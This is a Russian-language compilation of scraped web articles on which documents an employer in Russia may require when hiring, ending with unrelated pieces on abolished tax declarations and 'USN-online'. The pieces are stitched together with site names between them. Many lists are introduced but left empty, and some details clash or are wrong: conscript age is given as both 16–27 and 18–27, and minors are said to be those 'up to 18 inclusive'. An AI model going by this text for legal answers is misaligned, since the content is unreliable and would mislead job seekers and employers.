6. Работодатель может потребовать документы о семейном положении работника (свидетельство о браке, свидетельство о рождении при наличии детей, справка об инвалидности ближних родственников и т.п.). По этим документам работнику могут быть предоставлены дополнительные льготы. Например, многодетному сотруднику отпуск предоставляется в любое время года по его желанию. Также возможно оказание материальной помощи со стороны работодателя.
7. От иногородних работников может требоваться регистрация по месту временного пребывания.
8. Для занятия муниципальной службой законодательство РФ требует предоставление следующих сведений:
Предоставление этих документов не обязательно, однако они могут повысить шансы кандидата занять желаемую должность.
Для трудоустройства иностранного гражданина необходимо, чтобы у него было разрешение на работу, выдаваемое Федеральной Миграционной Службой по месту пребывания. При этом иностранцу прямо запрещено законом (№ 115-ФЗ «О правовом положении иностранных граждан») работать за пределами субъекта РФ, в котором у него имеется разрешение на временное проживание.
В остальном, перечень документов, предусмотренный регламентом приема на работу сотрудника из другого государства, совпадает с перечнем для граждан Российской Федерации.
Подведя итоги, можно сделать вывод, что проще всего при устройстве на работу придется гражданину РФ, впервые устраивающемуся на работу. В этом случае прием на работу работника оформляется при наличии только паспорта и/или, в отдельных случаях, документа об образовании, о воинском учете и медицинской справки. Остальные документы (трудовая книжка, СНИЛС) будут оформлены работодателем.
Однако при устройстве на работу лучше собрать максимально полный пакет документов. Это повысит шансы на трудоустройство. Соискатель сможет претендовать на лучшие условия труда (например, на более высокую зарплату).
Если работодатель заинтересован в привлечении и удержании высококвалифицированных работников, то, на основании некоторых документов, может предоставить сотруднику определенные льготы или выплачивать ему компенсации.
Помогла статья? Подписывайтесь в наши сообщества: ВКонтакте, Фейсбуке, Twitter, Одноклассниках или Google Plus.
Будем очень благодарны, если поставите «Лайк» ниже. Спасибо!
Получайте обновления прямо на вашу почту:
svoy-business.com
Для того, чтобы Вам начислялся трудовой стаж, необходимо официально трудоустроиться на работу, и если Вы уже ее нашли, то нужно будет подготовить для этого пакет необходимых документов. Конечно-же перед приемом Вас на работу нужно будет пройти собеседование, чтобы доказать что Вы подходите на заявленную вакансию.
При первом знакомстве с работодателем он захочет познакомиться с будущим сотрудником, узнать о его опыте работы, жизненной позиции, о том, какими дополнительными знаниями, навыками и умениями обладает претендент, а потому следует подготовить:
Итак, собеседование Вы уже прошли.
Чтобы трудоустроиться официально, нужно предоставить работодателю:
Итак, рассмотрим каждый документ по отдельности.
Паспорт является удостоверением Вашей личности, только по нему можно идентифицировать соискателя, а значит, с паспортом нельзя трудоустроиться по чужим документам. Если у Вас по каким-то причинам нет паспорта на момент трудоустройства, то можно предъявить справку из паспортного стола о том, что Вы сдали его для замены или же временно предъявить загранпаспорт, иногда допускается и военный билет или водительские права.
Трудовая книжка выдается непосредственно в организации или на предприятии, если это Ваше первое место работы, но если уже есть трудовой стаж, то Вы должны ее предъявить. В отделе кадров сделают соответствующую запись о приеме Вас на работу, после чего трудовая книжка будет храниться в отделе кадров вплоть до момента увольнения. Согласно статье 66 Трудового кодекса Российской Федерации, каждый сотрудник, который проработал по основному месту работы не меньше 5 дней, должен иметь трудовую книжку. Если же Вы оформляетесь на работу по совместительству, то достаточно копии трудовой книжки.
Документ об образовании. Для специальностей, требующих определенной квалификации это должен быть диплом или свидетельство о профессиональной подготовке или переподготовке. Если же работа не предусматривает специального образования, то достаточно и свидетельства об общем образовании.
Документ воинского учета. Все мужчины в возрасте от 16 до 27 лет считаются призывниками, а потому должны предоставить или приписное свидетельство, или военный билет. Если у женщины есть военный билет, она тоже должна его предоставить. Мужчины, уже отслужившие срочную службу и находящиеся в запасе, в возрасте до 50 лет, предоставляют военный билет или временное удостоверение.
ИНН. Если Вы не являетесь индивидуальным предпринимателем, то такой документ Вам не понадобится, налоги за Вас будет платить работодатель.
Пенсионное страховое свидетельство. Его Вам должен оформить работодатель по первому месту работы, а при переходе в другую организацию или при регистрации на бирже труда его нужно обязательно предъявлять.
Медицинская книжка не является обязательным документом для всех организаций, ее оформляют работникам общепита, торговли, медицины и образования. При необходимости оформления медицинской книжки нужно обратиться в центр государственного санэпиднадзора. Без медицинской книжки с допуском к работе в учреждениях вышеперечисленных отраслей работник не может трудоустроиться.
Стоит остановиться еще на таком моменте, как регистрация по месту пребывания.
Трудовой кодекс гласит, что работодатель не имеет права отказывать гражданину в трудоустройстве, если у него нет регистрации и он является гражданином России, но лиц без регистрации работодатели берут на работу неохотно.
На практике в наше время редко встречаются случаи, когда подростки до 16 лет устраиваются на работу, но все-же такая возможность существует и о ней стоит тоже упомянуть.
Если на работу устраивается подросток, то к вышеуказанному списку документов необходимо дополнительно приложить:
В первую очередь у Вас должно быть разрешение на работу, выданное Федеральной миграционной службой России. Для получения разрешения на работу потребуется:
Имея на руках все эти документы, можно уже подавать заявление в ФМС о разрешении на работу.
Подавать документы с заявлением в ФМС может либо сам соискатель, либо то предприятие, которое нанимает человека на работу. Также документы может подать ваш представитель, согласно законодательству России. Гражданин СНГ должен получить разрешение на работу в России за 10 рабочих дней со дня прибытия.
Иногда при заключении трудового договора у соискателя могут потребовать и другие дополнительные документы, учитывая специфику работы, при этом работодатель должен руководствоваться постановлениями Правительства РФ или указами Президента России.
Список необходимых документов для заключения трудового договора прописан в статье 65 Трудового кодекса. Требовать от Вас какие-либо другие документы, не входящие в этот список, работодатель не вправе.
Все интересующие вопросы можно задать в комментариях к статье
whatdocs.ru
Собираясь устроиться на новое место работы, соискателю должности потребуется подготовить определенный перечень документов. Причем часть из них нужны всегда, независимо от предприятия. Некоторые, наоборот, актуальны только в определенной организации. Однако лучше знать заранее, какие документы нужны соискателю для устройства на работу.
Пакет документов, который может потребоваться при трудоустройстве, регламентируется ст. 65 ТК РФ. В него входят:
Важно: единственный документ, необходимый при приеме на работу – паспорт. Прочие данные предоставляются в зависимости от требований работодателя.
Трудовая книжка не всегда обязательна при приеме на работу. Ее отсутствие допустимо в следующих ситуациях:
После прекращения рабочих взаимоотношений трудовая книжка возвращается владельцу.
Согласно законодательству, указанный список – это максимально возможный пакет документов, который вправе требовать наниматель. Однако иногда он просит предоставить дополнительные данные.
К таковым можно отнести:
Согласно закону, эти данные необязательны. Однако их наличие существенно увеличивает вероятность одобрения кандидатуры.
Когда соискатель пытается устроиться на государственную или муниципальную службу, от него потребуется следующая информация:
Данный перечень является вполне правомерным, если судить по законодательству нашей страны.
Приезжему из другой страны соискателю, в первую очередь, требуется патент или разрешение на работу. Этот документ можно получить в ФМС (Федеральная Миграционная Служба) по месту пребывания. При этом при переезде из одного субъекта РФ в другой разрешение на работу придется получать заново. В противном случае действия иностранного гражданина незаконны и наказуемы, согласно ФЗ № 115 «О правовом положении иностранных граждан».
В остальном сведения, подаваемые иностранцем, аналогичны перечню документов для граждан нашей страны.
Гражданин, которому не исполнилось 18 лет, так же может быть трудоустроен. Для этого потребуется соблюсти ряд требований:
Невыполнение какого-либо из перечисленных пунктов свидетельствует о неправомерном трудоустройстве подростка. Работодателя ввиду незаконных деяний могут привлечь к ответственности. Обязательной для него станет выплата денежной компенсации несовершеннолетнему. Это актуально в том случае, если здоровью последнего был нанесен вред в результате исполнения им рабочих обязанностей.
Обратившись в организацию соискателю следует уточнить, какие документы нужны при приеме на работу. Наличие всех необходимых сведений сократит длительность процедуры и повысит шансы на получение желаемой должности.
trud.guru
Расскажем, что учесть при трудоустройстве: какие документы нужны всем работникам, а какие — только в особых случаях. Два перечня, обязательный и дополнительный, запретный список для кадровика и основные образцы вы найдете в статье.
Скачайте все документы, которые нужно запросить при приеме на работу:
Перед оформлением трудового договора соискатель знакомится с нормативными актами компании и представляет документы, необходимые для трудоустройства. На их основании кадровик оформляет личную карточку, ставит нового сотрудника на воинский учет, заполняет трудовой договор и приказ о приеме на работу. Все оригиналы документов, за исключением трудовой книжки, сразу же после завершения необходимых кадровых процедур возвращаются владельцу. Заполненную трудовую книжку хранят в отделе кадров вплоть до увольнения работника, и выдают ему на руки в день окончательного расчета.
Иногда состояние переданного в отдел кадров документа вызывает обоснованные опасения. Порванные или неаккуратно вклеенные страницы, выгоревшие или залитые напитками записи могут стать проблемой для кадровика, ведь речь идет о важной документации, на основании которой считается стаж, начисляются выплаты, предоставляются льготы.
Запрещается требовать не предусмотренные законом документы для трудоустройства: ТК РФ не позволяет выходить за рамки перечня, состоящего всего из пяти пунктов, и расширяет его лишь в отдельных случаях. Например, чтобы работать во вредных или опасных условиях, следует пройти предварительный медосмотр и получить заключение, подтверждающее отсутствие противопоказаний (ст. 213 ТК РФ). А педагоги и авиационный персонал предъявляют справку об отсутствии судимости (ст. 331 ТК РФ, ст. 52 Воздушного кодекса РФ). Кадровик должен знать, какие документы нужны для трудоустройства в каждом конкретном случае, не выходить за рамки своих полномочий и соблюдать право работника на неприкосновенность частной жизни.
Все обязательные документы при приеме на работу перечислены в статье 65 ТК РФ. С ними следует ознакомиться, проверив срок действия и подлинность. Убедитесь, что на бланке есть водяные знаки, серийный номер, печати и другие защитные элементы. Закон не запрещает работодателям уточнять подлинность дипломов, паспортов, лицензий и других документов через сайты и порталы государственных услуг, а также отправлять письменные запросы в МВД, Рособрнадзор и прочие инстанции.
Основной документ работника, который подтверждает стаж и содержит сведения о ключевых этапах карьеры — должностях, занимаемых на предыдущих местах работы, переводах и поощрениях, причинах и обстоятельствах увольнений. Запись о
www.kdelo.ru
Обращаем ваше внимание, что список для приема на работу изменился. Закон приняла Госдума.
При устройстве человека на работу кадровик и бухгалтер должны принять у него и проверить ряд документов. Порядок приема на работу по шагам по ТК РФ и полный список документов при трудоустройстве в 2019 году мы привели в статье.
Шаг 1. Получите от будущего сотрудника все бумаги, необходимые для кадрового учета на предприятии.
Сразу предупредим: с представленных документов безопаснее не снимать копии и не хранить их. Такие действия контролеры могут квалифицировать как нарушение работы с персональными данными. Во избежание рисков советуем отдельно изучить эту тему, если в личном деле сотрудника вы храните «левые» бумаги.
Не вызовет вопроса наличие в деле экземпляра трудового договора, распоряжения о приеме на работу. То же самое можно сказать про все другие распоряжения, касающиеся непосредственно сотрудника. Как бланк строгой отчетности хранится трудовая книжка.
Шаг 2. Ознакомьте человека со всеми внутренними документами фирмы, касающимися персонала.
Шаг 3. Подпишите договор с сотрудником.
Шаг 4. Подготовьте приказ или распоряжение о приеме на работу.
Шаг 5. Внесите запись в трудовую книжку.
Шаг 6. Заведите личную карточку на нанятого сотрудника.
Далее мы во всех деталях рассмотрим каждый шаг. Где нужно — приведем наглядные примеры.
При приеме на работу человек должен показать, прежде всего, свой паспорт. Если соискателю меньше 14-ти, то удостоверяющей бумагой будет свидетельство о рождении. А у гражданина, постоянно проживающего за границей, попросите загран.
Далее от уже опытных специалистов потребуйте трудовую книжку. Исключение — если речь идет о совместителе. Новичкам, для которых позиция в вашей компании — первое место их работы, вы должны сами выдать книжку. Об этом мы еще поговорим далее.
Прием на работу в трудовй оформляется так. В левой графе поставьте номер записи и дату. В графе «сведения о приеме на работу…» напишите Полное наименовании и сокращенное организации или ИП.
— Общество с ограниченной ответственностью «Альфа» (ООО «Альфа»)
— Индивидуальный предприниматель А.А. Петров (ИП А.А. Петров)
Далее напишите, в какой отдел принята (если отдела нет, то формулировка — принят на должность…) и должность. Поставьте в крайней правой колонке дату и номер приказа.
Из персональных документов также понадобится СНИЛС — чтобы отчитываться в Пенсионный.
Если указанное страховое свидетельство человек никогда не получал, теперь он ее должен получить сам по форме АДИ-РЕГ.
Госдума отменила карточку СНИЛС. Закон вскоре вступит в силу. После чего бухгалтеру не придется требовать саму карточку. Однако номер СНИЛС работник должен будет указать.
Обратите внимание, что старые СНИЛС не утрачивают своего действия. Они будут использоваться в работе в общем порядке.
Получить уведомление нового образца можно несколькими способами:
Сведения формируются автоматически, на основании данных, зафиксированных в единой системе обязательного пенсионного страхования.
Вот так выглядит новая форма
С военнообязанных потребуйте военный билет или временное удостоверение. С призывников — приписное свидетельство. Сошлитесь на пункт 18 Положения, утвержденного постановлением Правительства от 27.11.2006 № 719.
Если закон предъявляет к соискателю спецтребования, нужен документ об образовании, квалификации или наличии особых знаний. Так, фармацевту полагается иметь на руках сертификат специалиста. Аналогично — по справке о наличии или отсутствии судимости либо уголовного преследования. Данная бумага обязательна, когда к работе в силу прямого указания закона нельзя подпускать «сомнительный» контингент. Например, это условие есть в отношении педагогов в статье 331 ТК.
Мы перечислили обязательный минимум документов из статьи 65 ТК, которые соискатель должен представить при приеме на работу в 2019 году.
Другие бумаги вы вправе потребовать, если это прямо предусмотрено законом. Так, например, временно пребывающие иностранцы помимо разрешения на работу или патента предъявляют полис ДМС. Таковы требования части 1 статьи 327.3 ТК.
Познакомьте будущего работника с локальными нормативными актами, действующими по организации. Имеются в виду колдоговоры, различные положения. Например, об оплате труда. Не забудьте про Правила внутреннего трудового распорядка. Сокращенно — ПВТР. И другие инструкции. Ознакомьте обязательно под подпись (ст. 68 ТК).
Факт знакомства с «местными» правилами удобно фиксировать в специальном журнале, составленном в табличной форме. Типового бланка нет. Оформите его самостоятельно. Можете ориентироваться на наш вариант.
Кстати: со штатным расписанием знакомить вновь устроенных не обязательно. Подобный документ совсем не регулирует рабочий процесс. Исключение — ситуация, когда вы прямо предусмотрели знакомство со штаткой в каком-либо внутреннем документе фирмы. Смотрите на эту тему письмо Роструда от 15.05.2014 № ПГ/4653-6-1.
На этапе знакомства с компанией обговорите все основные моменты будущей работы с соискателем. В частности, вводится ли для новичка испытательный срок.
Оформить сотрудника на работу вы можете бесплатно в программе Бухсофт.
Оформить сотрудника
После ознакомления со всем рабочим процессом подпишите соглашение с соискателем в двух экземплярах. Один — для него, другой — для компании. Сделать это нужно не позднее трех дней с того дня, когда человек приступил к работе. Каждый экземпляр визируют обе стороны. Такие правила — в части 1 статьи 67 ТК.
Форма договора в общем случае — свободная. Но к содержанию есть законодательные требования. Обязательные сведения и условия для ТД найдете в главах 10 и 11 ТК. Например, это сведения о должности, режиме работы, заработной плате и т. д. Должность обязательно укажите как в штатке. Нельзя принимать человека на позицию, которой нет в расписании. Это следует из статьи 57 ТК и подтверждено Рострудом в письме от 21.01.2014 № ПГ/13229-6-1.
Микропредприятия могут использовать типовой бланк договора. Таковой утвержден постановлением Правительства от 27.08.2016 № 858. При этом «малыши» могут исключить из шаблона пункты, которые они не заполняют из-за специфики предлагаемой работы. А также убрать ненужные примечания к тексту (письмо Минтруда от 30.06.2017 № 14-1/В-591).
Приятный бонус: если субъект МП подписывает с сотрудниками типовые соглашения, то разрешено сократить кадровый документооборот. А именно частично или полностью отказаться от таких НПА, как Правила трудового распорядка, Положение об оплате труда и о премировании. Можно не составлять график сменности и отпусков, другие локальные акты по труду. Так следует из статей 309.1 и 309.2 ТК.
Контракт — непосредственное основание для приема на работу. Заявление с просьбой трудоустройства, составляемое соискателем в произвольном виде, в принципе излишне. Но ошибкой не будет. На нем можно делать при необходимости полезные служебные пометки: резолюцию директора, визу непосредственного начальника, «галки» об исполнении. Если заявление составлено, подшейте его в личное дело сотрудника.
На основании подписанного договора нужно оформить приказ руководителя о включении в штат новичка. Для этого можно взять унифицированную форму № Т-1. Образец мы заполнили. Или самостоятельно разработанный бланк — при условии, что в нем есть все необходимые реквизиты из Закона о бухучете от 06.12.2011 № 402-ФЗ. Выбранный вариант обязательно закрепите в своей «учетке». Если в один день вы устраиваете несколько человек, вам подойдет сводная форма № Т-1а.
В любом случае содержание документа должно строго соответствовать условиям договора. Об этом сказано в части 1 статьи 68 ТК. В частности, дата принятия на работу в приказе должна соответствовать дате из соглашения. Исключение — случай, когда сотрудник начал трудиться без оформления ТД.
Сверьте сведения о структурном подразделении и должности. Перепроверьте информацию о том, на какую работу принимается человек — на основную или нет. Проверьте числовые показатели — размер оклада (тарифной ставки) и надбавок. В приказе приводится период испытательного срока, если стороны согласовали условие об испытании.
От имени работодателя приказ может завизировать директор либо другое уполномоченное им лицо со ссылкой на доверенность — основание подписания. Сотрудника ознакомьте с приказом под подпись в трехдневный срок с того дня, когда он фактически приступил к работе.
Наличие трудовой книжки обязательно. После того как издан приказ, сделайте запись в ней о приеме на должность новоиспеченного сотрудника.
Если ваша фирма первая, где работает сотрудник, оформите ему книжку сами (ч. 4 ст. 65 ТК). Для этого человек пишет заявление в произвольной форме.
Если сотрудник — совместитель, то соответствующие сведения вносятся в трудовую лишь по его просьбе. Плюс делается это на основании документа, который подтвердит, что сотрудник работает где-то еще. Это может быть справка, копия контракта или приказа о приеме на работу.
Более того, работодатели обязаны вести учет книжек. Для этого используют спецкниги. Первая — приходно-расходная, по учету самих бланков и вкладышей в них. В этом регистре фиксируются все операции по получению и расходованию бланков, с указанием серии и номера каждого. Вторая — книга учета движения указанных бумаг. В этот регистр вносите как вновь выданные трудовые, так и те, что приняты от сотрудников при заступлении на работу (приложения 2 и 3 к постановлению Минтруда от 10.10.2003 № 69).
Открыть личную карточку и внести в нее первые сведения — это обязательный последний этап кадровой стороны трудоустройства.
Обычно используют типовую форму. Заполнение идет на основании трудовой книжки и других персональных документов сотрудника.
Хранить дело нужно минимум 50 лет.
Для заключения трудового договора с гендиром собственник фирмы должен принять решение о его избрании (назначении). Вместо решения будет протокол общего собрания, если учредителей несколько. Либо решение совета директоров или наблюдательного совета — при наличии в компании данного органа. Так предусмотрено законами от 26.12.95 № 208-ФЗ и от 08.02.98 № 14-ФЗ.
Назначение директора максимально сверьте с процедурой, изложенной в уставных документах компании. Любое нарушение может быть чревато.
Трудовой договор с руководителем имеет ряд особенностей. А именно может заключаться на срок не более пяти лет (ст. 58, 59 и 275 ТК). Возможный испытательный период — удлиненный по сравнению с обычным. И составляет до шести месяцев (ч. 5 ст. 70 ТК). Условие об испытании может быть установлено только в том случае, если гендир назначен, а не избран на должность по конкурсу (ч. 4 ст. 70 ТК). Договор с главным может предусматривать дополнительные основания для его расторжения.
Приказ о приеме генерального издайте по форме № Т-1 или в свободной форме — смотря какую применяет компания. При этом первым приказом главного должен быть приказ о вступлении в должность. Обычно с формулировкой: «Во исполнение решения акционеров (участников) приступаю к исполнению обязанностей с такого-то числа».
www.26-2.ru
Трудоустройство – это система организационных, экономических и правовых мер, направленных на обеспечение трудовой занятости населения, включая содействие в поиске и получении работы.
Каждому гражданину хотя бы раз в жизни приходилось устраиваться на работу. По правилам приема на работу работников соискателю необходимо собрать определенный пакет документов.
Бесплатная консультация юриста по телефону
Задать вопрос юристу
По Москве и Московской области
Санкт-Петербург и область
Федеральный номер
Некоторые из них являются обязательными и будут требоваться в любой компании. Другие предоставлять в целом не обязательно, но в конкретной организации могут потребовать их предоставить, в зависимости от рода деятельности. О том какие документы потребуются при трудоустройстве пойдёт речь в нашей статье.
Статьей 65 Трудового Кодекса Российской Федерации установлен перечень документов, которые могут запросить при приеме на работу:
Большей частью документов занимается начальство и уполномоченные работники «под рукой» будущего начальника.
При получении билета обязательно полностью читайте всё, что подписываете, задавайте вопросы, если вам что-то неясно. Ни в коем случае не соглашайтесь на дополнительное обследование якобы в обязательном порядке и не сообщайте какие-либо дополнительные данные о себе, кроме тех, что требует заявление! Также рекомендуется тщательно изучить статью 51 Конституции РФ!
ИНН можно получить в налоговой службе по вашему месту жительства, лучше заранее найти нужный адрес в интернете.
Далее, следуйте простым правилам:
Сдайте заявление и подождите 5 рабочих дней. По истечении времени, ИНН будет вам выдан.
Заранее отметим, что несовершеннолетним считается любой человек в возрасте до 18 лет включительно!
Получить миграционную карту можно:
Если вы не успели или забыли заполнить карту «по дороге», то сделайте это в зале прибытия на вокзал или станцию перед прохождением миграционного контроля. Карта выдаётся бесплатно!
Оплатить госпошлину можно в государственном банке («Сбербанк», например), через интернет или через почту. Чек, подтверждающий оплату госпошлины, нужен именно в оригинале!
Конечно же, есть ряд ситуаций, когда вы можете не подавать трудовую книжку:
Бесплатная консультация юриста по телефону
Задать вопрос юристу
По Москве и Московской области
Санкт-Петербург и область
Федеральный номер
Иногда работодатель может потребовать от сотрудника ряд второстепенных документов.
Лучше быть заранее готовым к таким заявлениям.
Существенных нюансов работы в РФ иностранного гражданина всего два. Естественно, плохое знание языка или культуры новой страны не считается за проблему.
Поскольку автобиографию писать нужно обязательно самому, придерживайтесь нижеуказанного плана и старайтесь не слишком вдаваться в ностальгию и не переливать из пустого в порожнее.
Пишите кратко и ясно от первого лица, не забывайте указывать хронологические даты, возраст родителей, место проживания. Придерживайтесь следующего плана:
Желательно приклеить или прикрепить к автобиографии своё фото. Необязательно в строгом виде, как на паспорте. Главное — это ваши эмоции на фото. Излучайте оптимизм!
Некоторые люди считают, что первые несколько лет после университета нужно не искать работу и нарабатывать опыт, а составлять портфолио.
Портфолио — это некий список ваших достижений, которые могут пригодиться походу работы, на которую вы хотите устроиться.
Например, вы хотите работать адвокатом и за несколько месяцев до собеседования посещали мастер-класс на эту тему и получили удостоверение об этом. Его как раз обязательно нужно вложить в портфолио!
Если вы хотите быть дизайнером или модельером, то покажите будущему шефу лучшие примеры своих работ. Если моделью — свои самые удачные фотографии.
homeurist.com
Расскажем о полном наборе документов, которые могут понадобиться на каждом этапе трудоустройства в России.
На GorodRabot много писали о том, как найти работу, пройти собеседование или составить хорошее резюме, но ещё ни разу не углублялись в правовую часть трудоустройства.
Здесь мы постараемся максимально подробно рассказать о том, какие документы необходимы для официального трудоустройства в РФ, а что — прихоть работодателя.
На этом шаге не требуются какие-либо подтверждающие документы.
Чтобы зарегистрироваться на сайте по поиску вакансий и разместить резюме, не нужно указывать ни паспортных данных, ни ИНН — ничего подобного. Если администрация портала настаивает на предоставлении подтверждающей личность информации (например, скан паспорта), скорее всего вы выбрали не самый надёжный ресурс.
По желанию соискатель вправе приложить отсканированные копии дипломов об образовании к резюме, но это не обязательно.
Именно на этом этапе трудоустройства реализуется большинство мошеннических схем рынка труда.
Обычно кандидату не нужно иметь при себе никаких документов — даже распечатанного резюме. Исключение составляют особо охраняемые и стратегические объекты — здесь вправе попросить паспорт для пропуска на КПП, не более.
Ни в коем случае не указывайте персональные данные в анкете соискателя, которую часто предлагают заполнить перед собеседованием работодатели-аферисты. Подробнее о возможных способах обмана соискателей здесь.
В случае если специалист по кадрам просит предоставить подтверждение об образовании, то есть принести диплом — запомните, отсканированной копии будет достаточно.
Для официального трудоустройства требуется целый набор оригинальных документов, который различается в зависимости от сферы занятости и гражданства сотрудника. А теперь подробнее.
Устраиваясь на работу, необходимо предоставить главный гражданский документ. Если по какой-либо причине паспорт отсутствует, его можно заменить другим документом с фотографией и удостоверяющей личность информацией. Например, загранпаспорт или водительские права тоже подойдут.
По закону Российской Федерации, гражданин, не являющийся индивидуальным предпринимателем, не обязан оформлять Индивидуальный номер налогоплательщика. Поэтому работодатель не может требовать ИНН у сотрудника.
Пенсионное свидетельство
При первичном трудоустройстве оформление свидетельства государственного пенсионного страхования — забота работодателя. В другом случае работник уже имеет на руках данный документ.
Согласно Статье 66 Трудового Кодекса РФ, трудовая книжка должна быть у каждого сотрудника при условии, что данное место трудоустройства является основным и он проработал более 5 дней. Однако работодатель не вправе требовать трудовую книжку, если работник трудится по совместительству.
Трудовую книжку можно купить в любом киоске печати.
Оригиналы дипломов необходимы для подтверждения узкопрофильных профессий и специальных навыков. При трудоустройстве не по специальности — подтверждающие компетентность документы не нужны.
Для официального трудоустройства военнообязанные граждане, в России это мужчины возрастом от 18 до 27 лет, должны предоставить работодателю документы воинского учёта.
Медицинская книжка является обязательным документом только в нескольких сферах деятельности, а именно — в торговле, образовании, медицине и в сфере общепита. В остальных случаях данный документ не нужен.
Медкнижка выдаётся Центром государственного санитарно-эпидемиологического надзора. Отсутствие документа при устройстве на работу в вышеперечисленных сферах может стать причиной для отказа кандидату.
Особенно этот вопрос касается трудовых мигрантов из Украины и других стран ближнего, и дальнего зарубежья. Согласно ТК РФ, работодатель не может отказать в трудоустройстве гражданину РФ без регистрации, но вправе не принять на работу иностранного гражданина без свидетельства о регистрации в России.
В исключительных случаях закон предусматривает право работодателя запросить дополнительные документы для составления трудового договора. Полный список документов, необходимых для правового оформления трудовых отношений, перечислен в Статье 65 ТК РФ.
Запомните, работодатель не вправе требовать другие документы, не закреплённые законом.
gorodrabot.ru
Кого это касается?
В прошлом году Минфин России опубликовал Основные направления налоговой политики на 2019-2021 годы. Где упоминалось о том, что планируется отменить обязанность отчитываться по УСН для компаний с объектом “доходы” и использующими кассовую технику, обеспечивающую передачу фискальных данных в налоговые органы в режиме «онлайн» .
Позже глава ФНС России Михаил Мишустин на коллегии налоговых органов дал свой комментарий по этому поводу. Он отметил, что скоро будет рассматриваться законопроект об отмене представления декларации по УСН и ведения книги учета доходов. Благодаря этому 800 тысяч упрощенцев смогут не сдавать отчетность по УСН. Информацию для расчета налога инспекции будут получать с помощью онлайн-касс.
Новый режим “УСН-онлайн”
Сейчас разговоров на эту тему все больше. На днях на одном из федеральных телеканалов заместитель руководителя ФНС России Дмитрий Сатин рассказал о том, что планируется апгрейд системы упрощенки. Это когда предприниматель в скором времени сможет выбрать для себя режим «УСН-Онлайн», а исчислять налог за него будет налоговый орган на основании информации из онлайн-кассы. Это плюс как для индивидуальных предпринимателей, так и для налоговых органов.
Налоговая инспекция самостоятельно рассчитает сумму налога по данным, которые передают онлайн-кассы, и пришлет уведомление на уплату
Послабления в администрировании стали возможны благодаря современным технологиям, которые ФНС России активно внедряет уже несколько лет. Простота регистрации, уплаты налогов и общения с инспекцией – приоритетные вопросы для бизнеса, которые ФНС учитывает при внедрении «УСН-онлайн».
Действительно, с внедрением онлайн-касс налоговики могут отслеживать все поступления денег в кассу и на расчетный счет налогоплательщика. Значит, инспекторы смогут сами рассчитать налог, который должны оплатить такие налогоплательщики, и проверить, насколько правильно он был оплачен. В этом случае, по мнению чиновников, в сдаче отчетности уже нет необходимости.
Итоги:
taxnet.ru
Обновление: 13 июня 2019 г.
Президент России В.В.Путин подписал Закон от 15.04.2019 N 63-ФЗ об отмене трех налоговых деклараций. Какие именно отчеты не нужно будет представлять в ИФНС, расскажем в данной консультации.
Чиновники отменили налоговые декларации по транспортному налогу, а также по земельному налогу. Данные поправки были внесены в Налоговый Кодекс Федеральным законом от 15.04.2019 N 63-ФЗ. Начиная с 1 января 2021 года, организациям больше не нужно будет сдавать в ИФНС налоговые декларации по транспортному и земельному налогу (п. 17, п. 26 ст. 1 Закона от 15.04.2019 N 63-ФЗ).
Инспекторы сами будут направлять компаниям, владеющим транспортными средствами и земельными участками, сообщения об исчисленных суммах налогов. Сообщения о величине транспортного и земельного налога будут направляться организациям в электронной форме через оператора электронного документооборота или через личный кабинет налогоплательщика. Также сообщение о сумме налога может быть направлено заказным письмом по почте или передано уполномоченному представителю компании лично под расписку (п. 16, п. 25 ст. 1 Закона от 15.04.2019 N 63-ФЗ).
Также законодатели отменили налоговую декларацию о предполагаемом доходе к получению ИП. Начиная с 1 января 2020 года сдавать декларацию по форме 4-НДФЛ предпринимателям больше не нужно (п. 7 ст. 1 Закона от 15.04.2019 N 63-ФЗ).
Предприниматели будут самостоятельно исчислять сумму авансовых платежей исходя из ставки налога, величины фактически полученных доходов, налоговых вычетов, с учетом ранее исчисленных сумм авансовых платежей по итогам квартала, полугодия и девяти месяцев (п. 7 ст. 1 Закона от 15.04.2019 N 63-ФЗ).
Уплачивать авансовые платежи ИП будут должны не позднее 25-го числа месяца, следующего соответственно за кварталом, полугодием и девятью месяцами (п. 7 ст. 1 Закона от 15.04.2019 N 63-ФЗ).
Одним из изменений, которые также запланировали законодатели с 2019 года, являлась отмена налоговой декларации по налогу, уплачиваемому в связи с применением упрощенной системы налогообложения. Отмена декларации по УСН должна была коснуться упрощенцев с объектом налогообложения «доходы».
На сайте Минфина уже опубликован проект об отмене декларации по УСН для плательщиков налога с объектом налогообложения «доходы», которые применяют онлайн-кассы (подп. 3.1 п. 3 Проекта Минфина России основных направлений бюджетной, налоговой и таможенно-тарифной политики на 2019 год и на плановый период 2020 и 2021 годов по состоянию на 11.07.2018). Но пока это только проект.
Также читайте:
glavkniga.ru
УСН является востребованным режимом налогообложения, который относится к упрощенным системам. Он может использоваться как компаниями, так и частными предпринимателями.
В правила его применения постоянно вносятся разные изменения, причем с 2019 года придется налогоплательщикам столкнуться с некоторыми серьезными нововведениями.
Минфин опубликовал на Федеральном Портале Правовых Актов специальную инициативу, на основании которой планируется упростить процесс составления отчетности всеми компаниями или ИП, которые пользуются во время работы режимом налогообложения УСН.
Такие послабления будут действовать только по отношению к налогоплательщикам, которые пользуются ККТ во время работы. В этом случае все сведения о результатах их деятельности передаются через оператора в автоматическом режиме.
К нюансам таких нововведений относится:
Будет ли отменена декларация по УСН? Ответ в видео:
Хотя отмена необходимости сдавать декларацию позволяет упростить работу многих предпринимателей, все равно специалисты уверены, что это приведет к некоторым сложностям и дополнительным вопросам.
Если фирмы или ИП не применяют онлайн-кассу, то они будут вынуждены на прежних условиях сдавать декларации УСН.
На основании законопроекта изменения будут применяться с начала 2019 года.
Поэтому многие налогоплательщики смогут не сдавать декларацию даже за 2018 год, но только при условии, что в течение данного налогового периода они действительно пользовались онлайн-кассой.
Первоначальной освобождение будет получено индивидуальными предпринимателями, пользующимися УСН «Доходы», а только потом воспользоваться таким послаблением смогут компании.
Если ИП или фирма применяют УСН «Доходы минус расходы», то они все равно будут вынуждены ежегодно сдавать декларацию, так как за счет использования онлайн-кассы невозможно оповестить в автоматическом режиме налоговиков о разных затратах, которые уменьшают налоговую базу
Поэтому для таких налогоплательщиков сдача декларации является обязательным процессом. Если компании или ИП пользовались онлайн-кассой не весь 2018 год, а несколько месяцев, все равно придется сдавать декларацию.
Обязательно ли иметь онлайн-кассу при выдаче займа? Узнаете здесь.
Это обусловлено тем, что некоторые сведения о получаемых доходах отсутствуют у работников ФНС.
Чтобы сотрудники ФНС смогли самостоятельно рассчитывать налоговую базу и размер сбора, они должны получать сведения от налогоплательщика о том, какое количество средств было получено организацией или ИП в процессе ведения деятельности.
